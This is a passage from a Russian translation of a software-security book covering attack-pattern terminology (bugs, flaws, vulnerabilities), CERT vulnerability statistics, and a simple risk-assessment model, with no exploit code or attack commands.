явления ошибок на этапе реализации, но они не заменяют проверки на практике.
Усовершенствованные методы обеспечения безопасности приложений незаменимы,
когда нужно проверить, что выполняется только разрешенный код, но совсем не го>
дятся для выявления ошибок в исполняемых файлах.
В конце прошлого века на рынке средств по обеспечению безопасности произо>
шел резкий всплеск, когда появилось множество “решений по безопасности”. Поль>
зователями были потрачены крупные суммы. Однако после многих лет использова>
ния брандмауэров, антивирусных программ и средств криптографии, количество
программ атаки продолжает увеличиваться. При этом растет и количество уязвимых
мест (рис. 1.8).
На самом деле брандмауэры довольно слабо защищают компьютерные сети. Сис>
темы обнаружения вторжений пронизаны ошибками, что приводит к большому чис>
лу ложных тревог. Потрачены годы труда огромного количества специалистов, но
программный код по>прежнему взламывают. Почему так происходит? На что же мы
тратили деньги все это время?

44

Глава 1

5,000
4,500
4,000

Общее количество уязвимых мест,
выявленных за 1995+2002 годы,
составляет 9162

4,129

3,500
3,000

2,433
2,500
2,000
1,500

1,090

1,000
500
0

345

171
1995

1996

417

331
1997

322
1998

1999

2000

2001

2002

Рис. 1.8. Количество уязвимых мест, согласно сведениям CERT/CC, продолжает увеличиваться

Основной фактор, благодаря которому продаются программы безопасности, за>
ключается в хорошей рекламе, например: “Просто купите этот продукт, и мы возь>
мем на себя все ваши заботы”. Итак, вы купили программу, установили ее и... Боль>
шинство защитных механизмов не имеют никакого отношения к корню проблемы —
ошибкам в программном обеспечении. Вместо этого они работают в режиме ответа.
Запретить прохождение пакетов к этому или другому порту. Отслеживать файлы,
которые содержат заданный шаблон. Отбрасывать фрагменты пакетов и пакеты,
размер которых превышает предельное значение, без просмотра. К сожалению,
фильтрация сетевого трафика — не самый лучший способ решения проблем. Основ>
ная проблема заключается в программном обеспечении, которое обрабатывает про>
пущенные пакеты.
Мы можем предположить, что существуют ошибки в ежедневно используемом
программном обеспечении. И действительно, программное обеспечение играет объе>
диняющую роль в большинстве коммерческих организаций. Конечно, мы пытаемся
лишить злоумышленников доступа к уязвимому программному обеспечению, но
проблема глубже и ее не решить с помощью традиционных барьеров. Чтобы рабо>
тать быстрее в эпоху Internet, приходится быстрее обмениваться данными. Это озна>
чает появление большего количества Web>служб и внешних интерфейсов, т.е. еще
больше приложений будут доступны удаленно (в том числе и для хакеров). Откры>
тыми для атак становятся даже обычные пользователи посредством программного
обеспечения, работающего в их домах, машинах и даже в карманах. Под угрозой ата>
ки находится почти каждый из нас.

Резюме
Взлом программного обеспечения был возведен в ранг искусства, это действи>
тельно непростая задача. Сначала нужно понять, какую задачу решает фрагмент ко>
да. Часто это можно сделать только по результатам работы. Иногда программный

Программное обеспечение — источник всех проблем

45

код можно разделить на несколько фрагментов и изучить их отдельно. Иногда пред>
назначение программного кода определяется с помощью некорректных входных
данных. Этот код можно дизассемблировать или декомпилировать. Иногда
(особенно если вы специалист по безопасности, а не хакер) с его помощью можно
изучить проект программы и архитектурные проблемы.
Эта книга посвящена искусству взлома программного обеспечения. В некотором
12
смысле она вкладывает оружие в руки читателей. В частности, хакерам . Для не>
опытных пользователей или же лентяев, которые хотят украсть что>то ценное, эта
книга будет бесполезной, потому что авторы не описывают способов атак наподобие
13
“просто добавь воды” . Эта книга не для тех, кто хочет просто взломать чужую сеть,
не задумываясь о том, как это происходит. Эта книга о том, как научиться взламы>
вать программные системы, или, следуя нашей аналогии, как делать оружие своими
руками.
Большая часть программных систем является частной собственностью. Это
сложные системы, созданные по оригинальным проектам. По этой причине взлом
программного обеспечения далеко непростая задача. Вот почему мы считаем, что эта
книга необходима, хотя, вероятно, мы тоже только немного приоткроем завесу тай>
ны хакинга.
Это опасная книга, но окружающий мир — тоже опасное место. Осведомлен —
значит вооружен. Многие могут нас раскритиковать за разглашение изложенной
информации, но мы придерживаемся мнения, что сохранение правды в тайне только
приведет к ухудшению ситуации. Мы надеемся, что, попав в хорошие руки, эта книга
реально поможет нашим читателям устранить многочисленные проблемы, связан>
ные с защитой программного обеспечения.

12

Мы используем термин хакер в традиционном смысле, который определен в словаре хакера.
Хакер: (в оригинальном смысле — тот, кто делает мебель с помощью топора). сущ. 1. Чело
век, который старается разобраться в деталях работы программного обеспечения и ищет
способы расширения возможностей программ, в отличие от большинства пользователей, ко
торые удовлетворяются минимальными возможностями. 2. Фанат программирования, кото
рому больше нравится писать программы, чем теоретизировать о возможностях программи
рования. 3. Способный человек. 4. Человек, который быстро научился программировать. 5. Экс
перт по конкретной программе или тот, кто часто работает с этой программой. 6. Эксперт
или специалист в любой области. 7. Человек, который получает интеллектуальное удовольст
вие от преодоления проблем или сложностей. 8. Зловредный человек, который стремится ук
расть ценную информацию.
Словарь хакера на английском языкедоступен по адресу http://www.mcs.kent.edu/
docs/general/hackerdict. — Прим. авт.
13
Термин script kiddies, или хакерновичок, используется для обозначения людей, которые
пытаются взломать чужие компьютеры с помощью заранее подготовленных сценариев, соз
данных и распространяемых другими злоумышленниками. Большинство новичков не знают,
как работают программы взлома, они только знают, что эти программы работают. Эти лю
ди не обладают реальными знаниями или навыками, а пользуются программами взлома опыт
ных хакеров так, как ребенок пользуется заряженным пистолетом. — Прим. авт.

46

Глава 1

Шаблоны атак

47

Глава 2

Шаблоны атак

О

дна из серьезных проблем в области компьютерной безопасности заключается в
отсутствии единой терминологии. Отдельные статьи в прессе отнюдь не помо>
гают в этом деле. Негативное влияние оказывает некорректное использование тер>
минов поставщиками программного обеспечения, которые стремятся убедить поку>
пателя в необходимости покупки именно их программ. В этой главе мы определим
значения нескольких терминов, которые будут использоваться в данной книге. Кто>
то может не согласиться с нашими определениями и способами использования тер>
минов. Достаточно сказать, что нашей целью является четкость и связность инфор>
мации.
Первым и наиболее важным определением является цель атаки. Половина успе>
ха атаки зависит от правильного выбора цели. Программа, которую локально или
удаленно атакует хакер, называется атакуемым программным обеспечением (target
software).
Целью атаки может быть сервер, подключенный в Internet, телефонный коммута>
тор или изолированная система, которая управляет средствами противовоздушной
обороны. До начала атаки следует определить уязвимые места выбранной цели.
Иногда это называют оценкой риска (risk assesment). Если обнаруживается серьез>
ное уязвимое место, то цель атаки отлично подходит для взлома.
После выполнения программы получается тот или иной результат. При тестиро>
вании проверяются результаты выполнения программы, с тем чтобы определить, что
ошибка приводит к отказу в работе программы. Чем больше данных предоставляет
программа на выходе, тем легче определить ошибочные внутренние состояния в
программе и т.д. Наблюдаемость — это вероятность того, что ошибка в программе
будет выявлена по выходным данным. Чем выше наблюдаемость, тем проще протес>
тировать конкретный фрагмент программного обеспечения. Невозможно выявить
ошибочную ситуацию в программном обеспечении, которое не выдает никаких дан>
ных. Хорошо наблюдаемой программой можно назвать ту, которая имеет встроен>
ную возможность отладки выходных данных. Программа, которая имеет низкую на>
блюдаемость, может быть изменена с помощью отладчика и улучшена до программы
с высокой наблюдаемостью. Например, в случае, когда программа трассировки по>
тока данных подключается к программе — цели атаки.

48

Глава 2

Технологии взлома программного обеспечения используют идеи наблюдаемости
работы программ, особенно когда речь идет об удаленных атаках. В этой книге будет
представлено множество методов по улучшению наблюдаемости. Основная идея за>
ключается в сборе максимального объема информации о внутренних состояниях
программы как статически, на этапе проектирования программы, так и динамически,
при ее исполнении.

Классификация терминов
Для определения риска в системе должны быть найдены уязвимые места. Серь>
езная проблема в том, что уязвимые места в программном обеспечении в основном
остаются неклассифицированными и неопределенными. Существует несколько на>
учных трудов по этой тематике, но они слишком поверхностны и уже достаточно ус>
тарели. Ободряет то, что за несколько последних лет многие программы атаки были
выявлены и исследованы, а результаты этих исследований были опубликованы.
Основными источниками информации по уязвимым местам можно считать спи>
сок рассылки bugtraq, в котором были впервые публично рассмотрены многие
программы атаки (http://www.bugtraq.com), и базу данных уязвимых мест
CVE (Common Vulnerabilities and Exposures — распространенные уязвимые места
и ошибки), над формированием которой работают научные сотрудники. Обращаем
внимание, что в начале нового века список рассылки bugtraq стал коммерческим
проектом, который используется компанией Symantec для распространения своих
баз данных (которые они предоставляют по подписке). База данных CVE представ>
ляет собой еще одну попытку собрать все данные по уязвимым местам и ошибкам в
одном месте. Недостатком CVE является отсутствие четкого разделения информа>
ции по категориям.
Два упомянутых нами форума позволяют убедиться, что ошибки в программном
обеспечении широко распространены и повторяются в различных программных
продуктах. Таким образом, существуют общие проблемы в программном обеспече>
нии. Во многих аспектах ситуации переполнения буфера выглядят одинаково, неза>
висимо от того, в какой конкретно программе они происходят.
Согласно нашей классификации, уязвимые места, ошибки (bug) и просчеты
(flow) по своим базовым характеристикам объединены в единую категорию и фор>
мируют единые шаблоны атак. Этот подход базируется на следующем предположе>
нии. Подобные ошибки программирования приводят к однотипным методам про"
ведения атак. Таким образом, постараемся осветить общие проблемы программного
1
обеспечения, а не конкретные уязвимые места . Благодаря общей системе классифи>
кации можно использовать шаблон, согласно которому выполняется исследование
крупных программных систем на предмет наличия уязвимых мест. Такой шаблон
позволяет аудитору найти проблемные места в программах. Безусловно, такая ин>
формация пригодится как для защиты систем, так и для проведения атак.

1

Безусловно, по ходу изложения материала будет представлено множество реальных при
меров. — Прим. авт.

Шаблоны атак

49

Ошибки
Ошибка (bug) — это погрешность в программном обеспечении. Заметим, что в
программном обеспечении действительно могут содержаться ошибки и при этом ни>
когда не исполняться. Хотя термин ошибка применяется достаточно широко многи>
ми специалистами, мы его используем преимущественно для описания простых про>
блем. Например, ошибкой является неправильное использование функции strcpy()
в программах на C и C++, что приводит к возможности переполнения буфера. Мы
считаем, что ошибка представляет собой недостаток на уровне реализации, который
можно без труда использовать в собственных целях. Ошибки могут присутствовать
только в программном коде. Недостаток, допущенный на этапе проектирования, мы
не будем называть ошибкой. Для выявления ошибок используются программы ска>
нирования кода.

Просчеты
Просчет (flow) также является недостатком программного обеспечения, но про>
блема здесь определяется на более глубоком уровне. Просчеты зачастую можно на>
звать более тонкими и неприметными недостатками, чем простые очевидные ошиб>
ки, например, просчет может проявляться в способе ссылки на массив или в исполь>
зовании потенциально опасного системного вызова. Просчет обычно связывают как
с программным кодом, так и со всем проектом. Например, несколько классических
просчетов касаются механизма обработки ошибок и систем восстановления инфор>
мации, и при возникновении ошибок в их работе создаются опасные ситуации. Еще
одним примером просчета можно назвать атаки с использованием сценариев как
следствие некорректного программирования. Заметим также, что вполне возможны
ситуации, когда имеющиеся в программном обеспечении просчеты хакерами вовсе
не используются.

Уязвимые места
Ошибки и просчеты образуют единый класс уязвимых мест (vulnerability) со>
2
гласно специально разработанной классификации . Уязвимое место — это недоста>
ток программного обеспечения, которым может воспользоваться злоумышленник в
своих корыстных целях.
Уязвимые места в программном обеспечении, связанные с системой безопасно>
стью, варьируются от ошибок в локальной реализации (например, при использова>
нии вызова функции gets() в программах на C и C++) и ошибок межпроцедурного
взаимодействия (например ошибка, из>за которой становится возможной ситуация
“гонки на выживание” во время между контрольной проверкой возможности досту>
па и изменением файла) до недостатков более высокого уровня, допущенных на ста>
дии проектирования (например, к ним относится некорректная обработка ошибок и
систем восстановления, сбой которых приводит к небезопасным ситуациям, или

2

Созданием классификации уязвимых мест занимались Иван Красл (Ivan Krusl) и Карл
Лендвер (Carl Landwehr). Более подробную информацию можно получить из книг этих специа
листов. — Прим. авт.

50

Глава 2

ошибок в системах совместного использования объектов, в которых ошибочно при>
3
меняются транзитивные доверительные отношения) .
Злоумышленникам нет никакого дела до того, является ли уязвимое место ре>
зультатом серьезного просчета или простой ошибки, хотя ошибки проще использо>
вать для атаки. Некоторые уязвимые места непосредственно позволяют провести
полную атаку, а другие служат только начальным плацдармом для проведения более
сложных атак.
Уязвимые места могут быть определены и по отношению к программному коду, в
котором они присутствуют. Чем более сложным является уязвимое место, тем боль>
ше кода придется проверить для его обнаружения. Иногда один только просмотр
программного кода не дает никакого результата. Иногда же необходим более высо>
кий уровень описания, нежели описание того, что именно исполняется в этом коде.
Зачастую необходимо описание проекта. В других случаях требуется знать подроб>
ности среды исполнения кода. Необходимо сказать, что есть существенное различие
между обычными ошибками в программах и недостатками архитектуры программы.
Для исправления простой ошибки часто достаточно одной строки кода, а просчет в
архитектурном решении требует масштабных изменений, которые затрагивают мно>
гие аспекты программы.
Например, обычно сразу можно сказать, что вызов функции gets() в програм>
мах, написанных на языке С или C++, может быть успешно использован при прове>
дении атаки на переполнение буфера, и для этого вовсе не нужно изучать остальную
часть программного кода, весь проект или среду исполнения. Для использования
ошибки переполнения буфера злоумышленник подает строку вредоносного теста на
стандартный вход программы. Таким образом, уязвимое место, связанное с исполь>
зованием функции gets(), может быть выявлено с высокой точностью при помощи
элементарного лексического анализа.
Более сложные уязвимые места связаны со взаимодействием различных фраг>
ментов программного кода. Например, точное определение состояния гонки на вы>
живание требует изучения более чем одной строки программы. Для выявления по>
добных уязвимых мест требуются знания об особенностях работы нескольких функ>
ций, нужно иметь верное представление об учете использования глобальных
переменных и быть максимально осведомленным об операционной системе, предос>
тавляющей среду для выполнения этой программы.
Поскольку атаки становятся все более сложными, то и собственно определение
того, что же является уязвимым местом определенного типа, постоянно изменяется.
Атаки с использованием расчета по времени теперь уже стали повсеместными, тогда
как всего несколько лет назад они считались “экзотическими”. Аналогично, двух>
этапные атаки на переполнение буфера с использованием “трамплинов” были рань>
ше темой исследования научных работников, а теперь применяются в ежедневных
атаках.
3

Проблема транзитивных доверительных отношений может возникать в ситуациях,
когда объект предоставлен в совместное использование с помощью агента, который может
передавать права на доступ к этому объекту (при этом процедура предоставления прав
этим объектом никак не контролируется оригинальным владельцем). Если вы рассказали
комуто свой секрет, то он может рассказать его еще комуто, даже если вы этого не хо
тите. — Прим. авт.

Шаблоны атак

51

Уязвимые места на уровне проекта
Еще сложнее ситуация с уязвимыми местами, внесенными на уровне проекта.
Для выявления ошибки на уровне проекта программы требуется огромный опыт.
Поэтому очень сложно найти такие ошибки и еще сложнее автоматизировать про>
цесс этого поиска. Проблемы на уровне проектирования наиболее распространены,
однако им уделяется наименьшее внимание при оценке безопасности программного
кода. Компания Microsoft сообщила, что около 50% ошибок, выявленных в ходе реа>
лизации программы по проверке безопасности в 2002 году, составили именно ошиб>
ки на уровне проектирования. Очевидно, что ошибкам этого типа должно уделяться
больше внимания.
Рассмотрим обработку ошибок и систему восстановления. Восстановление после
сбоя является важным аспектом создания систем по обеспечению безопасности. Но
реализация восстановления довольно сложна, требует взаимодействия между моде>
лями обработки ошибок, избыточности на стадии проектирования и защиты от атак
отказа в обслуживании. Что касается объектно>ориентированной программы, то
чтобы понять, безопасна ли обработка ошибок и система восстановления, необходи>
мо оценить свойства, распределенные между несколькими классами, которые, в свою
очередь, распределены в целом проекте. Код обнаружения ошибки обычно присут>
ствует в каждом объекте и методе, а код обработки ошибки обычно создается от>
дельно и не зависит от кода обнаружения. Иногда исключения передаются на сис>
темный уровень и обрабатываются машиной, на которой запущена вызвавшая ис>
ключение программа (например, обработка исключений виртуальной машиной
Java 2). Это значительно усложняет задачу по определению того, является ли
безопасным конкретный код обработки ошибок и проект восстановления после
сбоя. К тому же эта проблема усугубляется в системах на основе транзакций, ши>
роко используемых в решениях для электронной коммерции, в которых функцио>
нальные возможности распределены между различными компонентами, запущен>
ными на нескольких серверах.
К проблемам уровня проектов можно также отнести совместное использование
объектов, некорректное наследование доверительных отношений, незащищенные
каналы обмена данными (как внутренние, так и внешние), неправильные или отсут>
ствующие механизмы контроля доступа, недостатки при аутентификации или входе
в систему, ошибки гонки на выживание, связанные с вредоносным изменением дан>
ных после выполненных проверок и до легитимного действия (особенно в многопо>
точных системах) и многие другие. Более подробно о просчетах на уровне проектов
программного обеспечения и о том, как избежать этих просчетов, рассказано в книге
Building Secure Software.

Оценка открытости системы
Мы отнюдь не являемся пионерами в области классификации уязвимых мест
программного обеспечения. Однако несколько опубликованных вариантов класси>
фикации уже морально устарели и в общем уже не отвечают глобальному подходу к
проблеме. Традиционно при создании классификации недостатков программного
обеспечения зачастую предпринимались попытки разделить ошибки в программном
коде и ошибки, возникающие вследствие неверных действий пользователя (напри>
мер, в результате неправильной конфигурации и т.д.), и исследовать их как отдель>

52

Глава 2
4

ные независимые проблемы (Красл, 1998 год) . Проблема в том, что риск для про>
граммного обеспечения может быть оценен только по отношению к конкретной сре>
де исполнения. Ведь в некоторых случаях потенциально губительная атака не может
принести никакого вреда системе, поскольку эта атака успешно блокируется бранд>
мауэром. Хотя конкретный фрагмент программного обеспечения атакуемого компь>
ютера может быть уязвимым, но окружающая среда способна защищать его от атак.
Программное обеспечение всегда является частью более крупной системы, в кото>
рую входят аппаратные средства, языковые технологии и протоколы. Однако влия>
ние среды исполнения имеет и оборотную сторону, поскольку часто среда исполне>
ния только усиливает риск использования программного обеспечения.
Концепция открытых систем была впервые внедрена в термодинамике Людвигом
фон Берталланфи (Ludwig von Bertalanffy). Фундаментальный принцип заключает>
ся в том, что практически каждая техническая система существует как часть более
крупной системы, все компоненты которой находятся в постоянном взаимодейст>
вии. В результате при анализе риска приходится рассматривать систему на несколь>
ких уровнях. В некоторых методах оценки риска использования программ не учиты>
вается среда исполнения, но, по нашему мнению, риск не может быть оценен в отры>
ве от контекста.
Чтобы продемонстрировать влияние среды на программное обеспечение, в каче>
стве примера можно взять программу, которая без всяких проблем, связанных с
безопасностью, долгие годы работала в частной сети, и установить ее на компьютер,
подключенный к Internet. Нетрудно предположить, что показатель риска резко из>
менится. Следовательно, бессмысленно рассматривать безопасность программного
кода без сведений о наличии брандмауэра или о контексте, в котором работает про>
граммное обеспечение. Подобно этому, нет смысла рассматривать систему обнару>
жения вторжений в отрыве от защищаемого ею программного обеспечения как от>
дельный компонент сетевого уровня. Проблема в том, что программное обеспечение
участвует в процессе взаимодействия по сети и простые настройки безопасности не
закроют все бреши в системе защиты. И в то же время, напоминаем, что правильная
настройка брандмауэра иногда позволяет блокировать атаку, которая бы могла при>
вести к взлому Web>сервера.
И напоследок, разделение программного кода и среды исполнения, в которой он
запускается, выглядит искусственным и неверным способом разграничения систе>
мы. И действительно, подобные границы не имеют реального смысла на практике.
Усложняющим фактором является возможность представить систему в виде много>
численных компонентов, построенных по иерархическому принципу детализации
системы. Рассматриваемая таким образом система представляет собой набор много>
численных компонентов или объектов, функционирование которых происходит на
различных уровнях, причем уровней этих очень много. Таким же образом каждая
часть программного обеспечения системы может быть рассмотрена как набор много>
численных компонентов или объектов разного уровня. И практически на всех уров>
нях эти объекты взаимодействуют между собой.
Из вышесказанного следует вывод, что стандартная концепция “Ханойской баш>
ни” (рис. 2.1) далека от действительности. Высокоуровневые приложения вызывают
4

Первыми попытками классификации уязвимых мест были исследования Protection Analysis
(1978) и RISOS (1976 год). — Прим. авт.

Шаблоны атак

53

низкоуровневые элементы операционной системы (даже на уровне BIOS) значи>
тельно чаще, чем полагают многие. Таким образом, вместо ясной, понятной и четко
организованной иерархии взаимодействия, более реальной представляется схема,
согласно которой практически любой фрагмент программного кода способен взаи>
модействовать с любой другой частью программного обеспечения на любом уровне.
Таким образом, задача создания надежной системы защиты становится очень труд>
ной, практически невозможной. В группы и домены может входить любой набор
объектов, и практически любой объект включает в себя код и возможности настрой>
ки. Значит, среда действительно имеет огромное значение, а поэтому ошибочно рас>
сматривать код отдельно от среды исполнения.

Приложение

Приложение

Приложение

Операционная система

Рис. 2.1. Стандартное представление о работе приложений
как отдельных иерархических структур. На самом деле эти
приложения далеко не так четко “разложены по полочкам”,
как изображено на этом рисунке

В большинстве книг, посвященных проблемам безопасности информационных
систем, затрагивается только среда “поблизости” от программного обеспечения. На>
пример, рассказывается об устранении проблем при использовании маршрутизато>
ра, брандмауэра или с помощью системы обнаружения вторжений. Только недавно
(в 2001 году) появились книги, посвященные разработке безопасного программного
обеспечения: Building Secure Software (авторы Viega и MacGraw, 2001) и Writing Se
cure Code (авторы Michael Howard и David LeBlanc, 2002).
По нашему мнению, методы разработки безопасного кода следует рассматривать в
двух аспектах: безопасность программного обеспечения и безопасность приложений.
При выборе метода безопасности программного обеспечения защита от атак
реализуется за счет создания программ, для которых безопасность является приори>
тетом. Это достигается благодаря правильному проектированию программ (чего до>
биться очень сложно) и устранению распространенных ошибок (что является эле>
ментарной задачей). Перечислим связанные с этим аспектом вопросы: управление
рисками программного обеспечения, платформы и языки программирования, аудит
программного обеспечения, проектирование с учетом требований безопасности, про>
счеты в системе безопасности (переполнения буфера, условия “гонки на выжива>

54

Глава 2

ние”, контроль доступа и проблемы выбора паролей, случайности, криптографиче>
ские ошибки и т.д.), тестирование системы безопасности. При обеспечении безопас>
ности программного кода основное внимание уделяется тому, что должно создавать>
ся безопасное программное обеспечение, проверке того, что оно является безопас>
ным, и обучению разработчиков программ и пользователей.
Метод безопасности приложений позволяет организовать защиту от взломов
программ “post facto”, т.е. после завершения разработки приложения. Эта техноло>
гия предусматривает введение жесткой политики относительно того, что может за>
пускаться, как могут изменяться данные и какие функции должны выполняться
программным обеспечением. Важными вопросами также являются выполнение про>
граммного кода в замкнутом пространстве, защита от вредоносного кода, блокиро>
вание исполняемых файлов, отслеживание действий выполняемых программ, при>
менение политик и расширяемых систем.

Риск
Лишь после точного определения (согласно классификации) уязвимого места
для него устанавливается соответствующий уровень риска. Если риск связан с кон>
кретной ошибкой или просчетом, то предприятие вполне может подсчитать сумму,
необходимую для снижения риска. С другой стороны, злоумышленник тоже может
использовать те же данные для оценки перспектив использования в своих целях того
или иного уязвимого места. Очевидно, что некоторые уязвимые места дешевле до>
пустить, а некоторые дешевле исправить.
Риск определяет вероятность того, что какое>либо действие или комбинация дей>
ствий приведет к нарушению работы программного обеспечения или системы, в ре>
зультате чего будет нанесен неприемлемый ущерб ресурсам. До некоторой степени
любое действие сопряжено с потенциальной возможностью неправильного обраще>
ния с программным обеспечением. Допустимый уровень “уязвимости” программно>
го обеспечения при внешнем воздействии определяется надежностью этого про>
граммного обеспечения и результатами контроля качества, проведенного для той
или иной программы и среды исполнения программного обеспечения.
Просчеты и ошибки приводят к возрастанию риска, однако риск — это еще не
взлом. Риск только отражает вероятность того, что уязвимое место может быть ис>
пользовано для взлома (нам нравится для оценки риска использовать определения
высокий, средний и низкий, а не цифровые коэффициенты). С помощью показателя
риска также можно оценить потенциальный ущерб, который может быть нанесен.
Очень высокий риск означает не только высокую вероятность взлома, но и то, что
этот взлом приведет к серьезным последствиям. Для управления риском могут ис>
пользоваться как технические, так и другие средства. При управлении риском про>
граммного обеспечения учитываются риски взлома программ и возможность управ>
лять риском в зависимости от конкретной ситуации.
Далее кратко рассмотрим принципы оценки риска использования программного
обеспечения в конкретной среде. Обратите внимание, что в отличие от других по>
добных методов оценки риска, мы не учитываем способностей злоумышленника, а
оцениваем только атакуемое программное обеспечение. Подобные описания можно
найти во многих других книгах. Таким образом, в нашем уравнении для оценки рис>
ка использования программного обеспечения учитывается только возможный ущерб
и предполагается присутствие достаточно опытного и умелого хакера.

Шаблоны атак

55

Потенциальный ущерб
Согласно нашей модели, если атакуемое программное обеспечение уязвимо для
взлома и брандмауэр никак не защищает это приложение, то риск использования
этой программы будет максимальным. Важно понимать, что в данном случае риск
оценивает только вероятность выхода из строя этой программы. Мы не пытаемся
определить материальную стоимость этого сбоя или ошибки. Другими словами, мы
пытаемся определить стоимость информации взломанной базы данных. При на>
стоящей оценке риска всегда должна определяться стоимость ошибки. Это лишь
первый шаг в оценке риска — сбор информации о потенциальной ошибке в про>
граммном обеспечении, а не конкретный подсчет (активы × стоимость), оценка по>
тенциальной возможности наложения ошибок и управления ущербом.
Исходя из наших определений, уравнение для оценки потенциального ущерба
будет выглядеть следующим образом:
Эффективность атаки в диапазоне от 1 до 10 ×
воздействие на цель (предположительно равное 100%) от 0 до 1,0 =
потенциальный ущерб (результат в диапазоне от 1 до 10) × 10
Потенциальный ущерб — это количественная величина. Например, если атака
оценивается 10 баллами по шкале от 1 до 10 баллов и программное обеспечение пол>
ностью открыто для атаки (коэффициент 1,0), то потенциальный ущерб атаки на
один узел составляет 10 × 10 = 100 %. Это означает, что имущество (или активы) на>
ходится под угрозой 100 %>й компрометации или уничтожения.
У каждой атаки есть реальный потенциал для нанесения ущерба. Мы оцениваем
этот потенциал, определяя эффективность атаки. Ясно, что высокоэффективные
атаки способны причинить очень серьезные проблемы в работе приложений (т.е. это
могут заметить пользователи), а низкоэффективные атаки не приводят к заметным
проблемам.

Воздействие и эффектность
Благодаря характеристике под названием воздействие (exposure) можно оценить,
насколько просто или сложно провести атаку. Степень “уязвимости” тоже может
быть определена как количественная величина. Если атака блокируется брандмау>
эром, то говорят о низком уровне ее воздействия, т.е. протестировав брандмауэр, мы
можем определить воздействие для конкретной атаки.
По определению, высокоэффективные атаки приводят к заметным проблемам.
Атаки с высоким уровнем воздействия и высоким потенциалом (высокоэффектив>
ные) приводят к выходу системы из строя, но высокоэффективные атаки этого вида
обычно означают, что просто плохо настроен брандмауэр, т.е. во многих случаях по>
добные проблемы можно устранить с помощью правильных настроек брандмауэра.
Атаки со средним уровнем воздействия, в свою очередь, могут привести к серьез>
ным проблемам, что уже указывает на возможность легкой компрометации цель. По
определению, эти атаки нельзя остановить только с помощью правил фильтрации на
брандмауэре, т.е. подобные атаки могут оказаться просто “прекрасным средством”
для осуществления взлома программного обеспечения. Высокоэффективными ата>
ками со средним уровнем воздействия можно назвать атаки перехвата аутентифика>
ционных данных, атаки на протоколы и спровоцированные ситуации пиковых на>

56

Глава 2

грузок. Как уже говорилось, эти атаки только иногда могут быть заблокированы с
помощью брандмауэров, систем обнаружения вторжений и других распространен>
ных методов обеспечения безопасности в сетях. Однако обратите внимание, что эти
атаки довольно просто можно предотвратить с помощью конкретного программного
приложения, поскольку в данном случае используются уязвимые места на коммуни>
кационном уровне.
Атаки, связанные с вводом данных на уровне приложений, обычно характеризу>
ются высоким уровнем воздействия, т.е. они легко обходят брандмауэры или другие
средства безопасности. Существует множество вариантов этих атак. Среди наиболее
популярных: некорректные поля, манипуляции входными переменными и др. Во>
обще, при подобных атаках осуществляются попытки подбора вредоносных входных
данных для программы.
Выше уже говорилось о двух важных величинах, которые могут быть измерены
при оценке риска: воздействии и эффектности. В любом случае, хотя бы одна из этих
величин может быть измерена и использована в простом уравнении, представленном
в следующем разделе. Поскольку точное вычисление значений переменных требует
определенных затрат, то вполне возможен вариант, когда измеряется только одна из
этих величин, а вторая может быть принята равной 100 %.

Действительный риск
Даже если вы полностью открыты для атаки (уровень воздействия соответствует
100%), но атака никак не влияет на ваши ресурсы, то такой атакой можно пренеб>
речь. В области оценки риска это называется измерением опасности (impact). Дей>
ствительный риск указывает на эффективность атаки и то же время учитывает по>
тенциальный ущерб. Если программное обеспечение полностью открыто для атак
доступа к информации базы данных, то потенциальный ущерб может составить
100%. Но если в базе данных не хранится никакой информации, то опасность равна
нулю, т.е. и действительный риск равен нулю. В этом случае вполне логичным пред>
ставляется следующий вывод: атака возможна и будет полностью успешна, но она
бесполезна, поскольку в базе данных не содержится никаких сведений.
Уравнение для определения действительного риска выглядит следующим образом:
потенциальный ущерб (результат в диапазоне от 0 до 10) ×
опасность (от 0 до 1) = действительный риск × 10
Оценка потенциального риска не требует серьезных затрат и выполняется до>
вольно легко, поскольку для этого достаточно проанализировать брандмауэры и
другие сетевые устройства с возможностями фильтрации. Все сетевое окружение
может быть проанализировано с одного шлюза. Однако, обратите внимание, что час>
то конфигурация брандмауэра или шлюза позволяет прохождение трафика уровня
приложений, например запросов к Web>приложениям. Вот здесь и пригодится вто>
рой множитель уравнения, благодаря которому можно узнать о том, действительно
ли нанесет атака ущерб. Сюрпризом может оказаться то, что при тестировании кон>
кретного узла по отношению к атаке, от которой предполагается нулевой или весьма
незначительный ущерб, конечный результат ущерба оказывается огромным.
Наши уравнения весьма пригодятся на практике, поскольку они отражают истин>
ную картину в реальной ситуации. Например, если определяется высокоэффективная
атака, то для снижения ущерба можно уменьшить воздействие атаки. Во многих слу>

Шаблоны атак

57

чаях для этого достаточно добавить новое правило брандмауэра — относительно деше>
вое решение. Безусловно, с помощью брандмауэра не удастся защититься от всех атак
уровня приложений. Альтернативой является исправление приложения, чтобы сни>
зить эффективность конкретной атаки против этого приложения.

Ознакомление с технологией взлома
Что происходит при атаке на программное обеспечение? В целях изучения меха>
низма взлома программного обеспечения воспользуемся простой аналогией с жилым
домом. “Комнаты” в нашей атакуемой программе соответствуют блокам кода в про>
граммном обеспечении, выполняющем определенную функцию. Следует изучить
“комнаты”, чтобы смело перемещаться по всему “дому”.
Каждый блок кода служит для выполнения уникальной функции в программе.
Некоторые блоки кода применяются для чтения данных из сети. Представим блоки
кода в виде комнат дома, а также представим, что злоумышленник стоит перед вхо>
дом этого дома на крыльце. Тогда вполне логично представить программный код по
взаимодействию с сетью как фойе. Этот код для работы в сети должен проверяться в
первую очередь, ведь он принимает входные данные, поступающие от удаленного
хакера. В большинстве случаев программный код для работы в сети просто прини>
мает входные данные и “упаковывает” их в поток данных. Этот поток данных затем
передается дальше в “дом” для обработки более сложными фрагментами кода. Таким
образом, “фойе” (код для работы в сети) связано внутренними дверями со смежными
“комнатами”. Злоумышленнику не интересно проводить атаку в “фойе”, но зато он
может перейти в “кухню”, где находится множество ценных вещей. Например, на
“кухне” можно открывать файлы и выполнять запросы к базам данных. Цель зло>
умышленника — найти проход из “фойе” на “кухню”.

Точка зрения хакера
Атака начинается с нарушения установленных правил и проверки предположе>
ний. Одним из первых действий хакера является проверка предположения “безу>
словного доверия”. Хакеры точно обойдут любое правило, в котором использованы
предположения относительно того, “когда, где и что” разрешено принимать в каче>
стве входных данных. По той же причине, по которой редко составляются схемы
разрабатываемой программы, эти программы также редко проходят интенсивное
“тестирование при критических нагрузках”, и особенно такое тестирование, при ко>
тором используются специально подготовленные вредоносные входные данные. В ре>
зультате для всех пользователей по умолчанию устанавливаются доверительные от>
ношения. При этом предполагается, что пользователь, с которым установлены без>
условные доверительные отношения, будет вводить только корректно сформирован>
ные данные, соответствующие установленным правилам, т.е. по отношению к этим
данным тоже демонстрируется полное доверие.
